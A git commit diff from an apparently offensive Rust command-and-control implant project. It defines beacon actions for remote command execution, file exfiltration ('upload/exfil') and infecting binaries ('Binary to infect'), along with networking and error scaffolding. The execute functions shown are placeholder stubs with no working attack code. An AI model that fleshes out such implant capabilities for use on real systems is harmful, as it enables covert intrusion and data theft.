feat: reworked command processing and storage

This commit is contained in:
Andrew Rioux
2025-02-23 18:29:12 -05:00
parent ceb4aa808e
commit 5ed8efca94
36 changed files with 710 additions and 295 deletions

View File

@@ -7,6 +7,27 @@ version.workspace = true
chrono = { version = "0.4.39", features = ["serde"] }
serde = { version = "1.0.218", features = ["derive"] }
serde_bytes = "0.11.15"
uuid = { version = "1.14.0", features = ["serde"] }
enum_delegate = "0.2.0"
async-trait = "0.1.86"
serde_json = "1.0.139"
leptos = { version = "0.7.7", optional = true }
thiserror = { version = "2.0.11", optional = true }
pcap-sys = { path = "../pcap-sys", optional = true }
tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "net", "process", "rt", "sync", "time", "tokio-macros"], optional = true }
smoltcp = { version = "0.12.0", default-features = false, features = ["proto-ipv4", "socket", "socket-tcp", "medium-ethernet", "std"], optional = true }
http = { version = "1.2.0", optional = true }
rmp-serde = { version = "1.3.0", optional = true }
hyper-util = { version = "0.1.10", features = ["client", "client-legacy", "http1", "http2", "service", "tokio"], optional = true }
hyper = { version = "1.6.0", features = ["client", "http1", "http2"], optional = true }
rustls = { version = "0.23.23", default-features = false, features = ["std"], optional = true }
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true }
[build-dependencies]
bindgen = "0.69"
[features]
beacon = ["dep:thiserror", "dep:pcap-sys", "dep:tokio", "dep:smoltcp", "dep:http", "dep:hyper-util", "dep:rustls", "dep:hyper", "dep:rmp-serde", "uuid/v4"]
server-ssr = ["uuid/v4", "dep:sqlx"]
server = ["dep:leptos"]

View File

@@ -1 +1,98 @@
pub trait Action {}
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
mod ls;
mod update;
mod exec;
mod upload;
mod install;
mod download;
#[derive(Serialize, Deserialize)]
pub struct FileId(pub uuid::Uuid);
/// Macro used to enforce the invariant that struct names are used to identify
/// the enum branch as well
macro_rules! define_actions_enum {
($(($mod:ident, $act:ident)),+) => {
#[derive(::serde::Serialize, ::serde::Deserialize)]
#[serde(tag = "cmd_type")]
pub enum Actions {
$($act($mod::$act)),+,
}
}
}
define_actions_enum! {
(ls, Ls),
(update, Update),
(exec, Exec),
(upload, Upload),
(install, Install),
(download, Download)
}
pub const ACTION_BUILDERS: &'static [&'static (dyn ActionBuilder + Send + Sync)] = &[
&ActionBuilderImpl::<ls::Ls>::new(),
&ActionBuilderImpl::<update::Update>::new(),
&ActionBuilderImpl::<exec::Exec>::new(),
&ActionBuilderImpl::<upload::Upload>::new(),
&ActionBuilderImpl::<install::Install>::new(),
&ActionBuilderImpl::<download::Download>::new(),
];
#[async_trait::async_trait]
pub trait Action: Serialize + for<'a> Deserialize<'a> {
const REQ_VERSION: Version;
const REQ_OS: Option<&'static str>;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)];
type ActionData: Serialize + for<'a> Deserialize<'a>;
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData;
#[cfg(feature = "server")]
fn render_data(&self, data: Self::ActionData) -> impl IntoView;
}
pub trait ActionBuilder {
fn name(&self) -> &'static str;
fn required_version(&self) -> Version;
fn required_os(&self) -> Option<&'static str>;
fn form_elements(&self) -> &'static [(&'static str, &'static str, Option<&'static str>)];
fn verify_json_body(&self, body: serde_json::Value) -> Result<(), serde_json::Error>;
}
pub struct ActionBuilderImpl<T>(std::marker::PhantomData<T>);
impl<T> ActionBuilderImpl<T> {
pub const fn new() -> Self {
Self(std::marker::PhantomData)
}
}
impl<T> ActionBuilder for ActionBuilderImpl<T>
where
T: Action
{
fn name(&self) -> &'static str {
let tname = std::any::type_name::<T>();
tname.split(":").last().unwrap()
}
fn required_version(&self) -> Version {
T::REQ_VERSION
}
fn required_os(&self) -> Option<&'static str> {
T::REQ_OS
}
fn form_elements(&self) -> &'static [(&'static str, &'static str, Option<&'static str>)] {
T::REQ_FIELDS
}
fn verify_json_body(&self, body: serde_json::Value) -> Result<(), serde_json::Error> {
serde_json::from_value::<T>(body).map(|_| ())
}
}

View File

@@ -0,0 +1,35 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Download {
download_src: super::FileId,
download_path: String,
}
#[async_trait::async_trait]
impl super::Action for Download {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[
("File path to download/place", "download_path", None),
("File to download", "download_src", Some("file")),
];
type ActionData = ();
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Hi".to_string();
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"ls ran"
}
}
}

View File

@@ -0,0 +1,33 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Exec {
exec_cmd: String
}
#[async_trait::async_trait]
impl super::Action for Exec {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[
("Command to execute", "exec_cmd", None)
];
type ActionData = String;
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Execute".to_string()
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"execute command"
}
}
}

View File

@@ -0,0 +1,33 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Install {
install_target: std::path::PathBuf
}
#[async_trait::async_trait]
impl super::Action for Install {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[
("Binary to infect", "install_target", None)
];
type ActionData = ();
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Hi".to_string();
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"ls ran"
}
}
}

View File

@@ -0,0 +1,29 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Ls;
#[async_trait::async_trait]
impl super::Action for Ls {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[];
type ActionData = ();
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Hi".to_string();
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"ls ran"
}
}
}

View File

@@ -0,0 +1,29 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Update;
#[async_trait::async_trait]
impl super::Action for Update {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[];
type ActionData = ();
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Hello".to_string();
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"update ran"
}
}
}

View File

@@ -0,0 +1,33 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Upload {
upload_src: String
}
#[async_trait::async_trait]
impl super::Action for Upload {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[
("File path to upload/exfil", "upload_src", None)
];
type ActionData = ();
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Hi".to_string();
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"ls ran"
}
}
}

View File

@@ -0,0 +1,38 @@
use std::net::Ipv4Addr;
use crate::error;
#[derive(Debug)]
pub struct BeaconRoute {
pub network: (Ipv4Addr, u8),
pub gateway: (Ipv4Addr, u8),
pub interface_index: usize,
}
#[derive(Debug)]
pub struct BeaconNetworkingInfo {
pub routes: Vec<BeaconRoute>,
pub interfaces: Vec<BeaconInterface>,
}
#[derive(Debug)]
pub struct BeaconInterface {
pub name: Vec<u8>,
pub mtu: u16,
pub mac_addr: [u8; 6],
}
#[async_trait::async_trait]
pub trait BeaconAdapter {
type Error: error::AdapterError + Send + Sync;
const OPERATING_SYSTEM: &'static str;
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8>;
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>>;
async fn get_username(&self) -> Result<String, error::BeaconError<Self::Error>>;
async fn get_hostname(&self) -> Result<String, error::BeaconError<Self::Error>>;
}

View File

@@ -0,0 +1,40 @@
use thiserror::Error;
pub trait AdapterError: std::error::Error {}
#[derive(Error, Debug)]
pub enum BeaconError<T>
where
T: AdapterError,
{
#[error("io error")]
Io(#[from] std::io::Error),
#[error("pcap error")]
Pcap(#[from] pcap_sys::error::Error),
#[error("utf8 decoding error")]
Utf8(#[from] std::str::Utf8Error),
#[error("task join error")]
Join(#[from] tokio::task::JoinError),
#[error("could not find default route")]
NoDefaultRoute,
#[error("connection error")]
Connect(#[from] smoltcp::socket::tcp::ConnectError),
#[error("http comms error")]
Http(#[from] http::Error),
#[error("uri parse error")]
InvalidUri(#[from] http::uri::InvalidUri),
#[error("hyper http error")]
HyperError(#[from] hyper_util::client::legacy::Error),
#[error("rustls")]
Rustls(#[from] rustls::Error),
#[error("adapter error")]
Adapter(#[from] T),
#[error("http error from server")]
SparseServerHttpError(http::StatusCode),
#[error("message pack encode error")]
RmpSerdeEncode(#[from] rmp_serde::encode::Error),
#[error("message pack decode error")]
RmpSerdeDecode(#[from] rmp_serde::decode::Error),
#[error("http error")]
Hyper(#[from] hyper::Error),
}

View File

@@ -5,4 +5,9 @@ pub mod payload_types {
}
pub mod actions;
#[cfg(feature = "beacon")]
pub mod adapter;
#[cfg(feature = "beacon")]
pub mod error;
pub mod messages;
pub mod version;

View File

@@ -0,0 +1,7 @@
use sparse_actions::actions::ActionBuilder;
fn main() {
for b in sparse_actions::actions::ACTION_BUILDERS {
println!("{}", b.name());
}
}

View File

@@ -0,0 +1,64 @@
use std::{
cmp::{Ord, Ordering, PartialOrd},
fmt::{self, Display},
};
use serde::{Deserialize, Serialize};
#[derive(PartialEq, Eq, Clone, Copy, Serialize, Deserialize)]
#[repr(transparent)]
#[cfg_attr(feature = "server-ssr", derive(sqlx::Type))]
#[cfg_attr(feature = "server-ssr", sqlx(transparent))]
pub struct Version(u16);
impl Version {
pub const fn new(maj: u8, min: u8) -> Self {
Self(((maj as u16) << 8u16) | (min as u16))
}
pub const fn major(&self) -> u8 {
(self.0 >> 8) as u8
}
pub const fn minor(&self) -> u8 {
(self.0 & 0xFF) as u8
}
}
impl PartialOrd for Version {
fn partial_cmp(&self, other: &Self) -> Option<Ordering> {
Some(self.cmp(other))
}
}
impl Ord for Version {
fn cmp(&self, other: &Self) -> Ordering {
if self.major() == other.major() {
self.minor().cmp(&other.minor())
} else {
self.major().cmp(&other.major())
}
}
}
impl fmt::Debug for Version {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "Version({}.{})", self.major(), self.minor())
}
}
impl Display for Version {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "{}.{}", self.major(), self.minor())
}
}
/*#[cfg(feature = "server-ssr")]
impl<'r> sqlx::Decode<'r, sqlx::Sqlite> for Version {
fn decode(
value: sqlx::Sqlite::ValueRef<'r>,
) -> Result<Self, Box<dyn Error + 'static + Send + Sync>> {
let value = <u16 as sqlx::Decode<sqlx::Sqlite>>::decode(value)?;
Ok(Self(value))
}
}*/